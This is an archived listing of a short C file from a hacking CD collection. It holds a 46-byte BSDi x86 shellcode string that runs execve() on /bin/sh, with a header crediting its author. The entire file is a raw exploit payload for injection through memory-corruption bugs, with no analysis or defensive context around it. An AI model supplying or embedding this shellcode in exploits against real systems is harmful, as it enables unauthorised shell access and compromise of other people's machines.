home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / bsdi / execve_binsh2.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-11-21  |  402 b   |  10 lines

  1. /*
  2.  *  BSDi
  3.  *  execve() of /bin/sh by v9 (v9@fakehalo.org)
  4.  */
  5.  
  6. static char exec[]=
  7.   "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
  8.   "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
  9.   "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
  10.   "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */